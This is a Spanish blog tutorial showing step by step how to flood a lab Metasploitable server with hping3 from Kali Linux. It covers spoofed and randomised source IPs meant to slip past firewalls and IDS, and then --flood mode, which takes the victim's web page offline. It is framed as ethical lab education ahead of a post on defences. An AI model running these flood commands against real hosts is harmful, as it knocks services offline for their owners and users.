Ataque DDoS con hping3

El otro día explique como hacer un ataque de denegación de servicio con la herramienta de synflood en Metasploit en esta entrada Ataque Syn Flooding con Metasploit.

Parece que ha interesado bastante el tema de los ataques DDOS, por eso mismo voy a explicarlo como realizar este tipo de ataques con otra herramienta llamada HPING3.

[IMPORTANTE]

Esta guía ha sido creada para fines éticos de investigación, información y educativos. En ningún momento no nos responsabilizamos del uso que se de fuera del laboratorio de pruebas.

[IMPORTANTE]

Voy a realizar la prueba con las siguientes maquinas virtuales:

Kali LinuxDescarga

MetasploiteableDescarga

Una vez montadas las maquinas virtuales, vamos a jugar un poco con nuestra herramienta HPING3.

Lo primero que debemos saber las IP de cada maquina virtual (En mi caso es el siguiente):

Kali Linux: 192.168.50.131

Metasploiteable: 192.168.50.128

Ejecutamos el comando HPING3 en Kali Linux hacia nuestra víctima (Metasploiteable) para ver si responde correctamente.

comandoit@comandoit:~# hping3 192.168.50.128
HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=8.6 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=1 win=0 rtt=8.1 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=2 win=0 rtt=15.1 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=3 win=0 rtt=12.1 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=4 win=0 rtt=5.9 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=5 win=0 rtt=7.8 ms

Como podemos observar esta enviando las peticiones correctamente al servidor víctima.

En Wireshark podemos ver como nos responde también el servidor y las peticiones que le realizamos.

Ahora vamos a hacer IP Spoofing: que es simplemente hacernos pasar por otra IP.

Ejecutamos el comando HPING3 con la variable -a.

comandoit@comandoit:~# hping3 -a 10.10.10.50 192.168.50.128
HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=54 win=0 rtt=8.0 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=55 win=0 rtt=2.3 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=56 win=0 rtt=2.4 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=57 win=0 rtt=9.4 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=58 win=0 rtt=5.8 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=59 win=0 rtt=5.4 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=60 win=0 rtt=3.5 ms
len=46 ip=192.168.50.128 ttl=64 DF id=0 sport=0 flags=RA seq=61 win=0 rtt=11.7 ms

En Wireshark podemos ver las siguientes peticiones:

(IP Spoofing Kali Linux) 10.10.10.50 –> (IP Víctima) 192.168.50.128.

(IP Víctima)192.168.50.128 –> (IP Spoofing Kali Linux) 10.10.10.50

Como podéis ver ya tenemos nuestra IP oculta haciendo peticiones al servidor víctima.

Todas las peticiones anteriores que hemos realizado, son peticiones que un Firewall o un IDS puede detectar y bloquear debido a que son peticiones de 1 segundo al puerto 80.

Para saltarnos el Firewall o un IDS:

Ejecutamos el siguiente comando de HPING con la variable –rand-source.

comandoit@comandoit:~# hping3 --rand-source 192.168.50.128 -p 80
HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 0 data bytes

Esta variable del comando, lo que hace es enviar paquetes a nuestro equipo victima desde IP aleatorias.

Desde el Wireshark se ven perfectamente como se realizan estas peticiones con el filtro:

ip.dst==(IP Víctima)

El problema de estas peticiones que hacemos desde HPING3, son un tamaño de 54 KB que es muy difícil colapsar el servidor víctima.

Después de todo los pasos anteriores, vamos a realizar el ataque de denegación de servicio.

Vamos a alterar el tamaño de los paquetes y los paquetes por segundo que podemos mandar a nuestra victima.

Ejecutamos el comando de HPING3 con la variable –rand-source -d 500 192.168.50.128 -p 80 –faster

comandoit@comandoit:~# hping3 --rand-source -d 500 192.168.50.128 -p 80 --faster
HPING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 500 data bytes

En Wireshark podremos observar que se le envían muchas peticiones, pero no se llega a tumbar la web del servidor víctima.

Ahora vamos a tumbar totalmente el servidor víctima con el comando de HPING3 con la variable –rand-source -d 500 192.168.50.128 -p 80 –flood

comandoit@comandoit:~# hping3 --rand-source -d 500 192.168.50.128 -p 80 --flood
PING 192.168.50.128 (eth0 192.168.50.128): NO FLAGS are set, 40 headers + 500 data bytes                                                                             
hping in flood mode, no replies will be shown

El modo Flood envía paquetes lo mas rápido posible y no nos envía respuesta de si han llegado. En este punto he intentado seguir los paquetes con Wireshark, pero la aplicación no lo soporta.

Pero en el servidor víctima podemos ver el resultado de este ataque:

Si intentamos navegar hacia la web del servidor víctima, podemos ver como esta caída la pagina web:

[IMPORTANTE]

Esta guía ha sido creada para fines éticos de investigación, información y educativos. En ningún momento no nos responsabilizamos del uso que se de fuera del laboratorio de pruebas.

[IMPORTANTE]

En otra entrada, os enseñare como defenderos de estos tipos de ataque.

Para poder defenderte debes saber como ataca tu enemigo.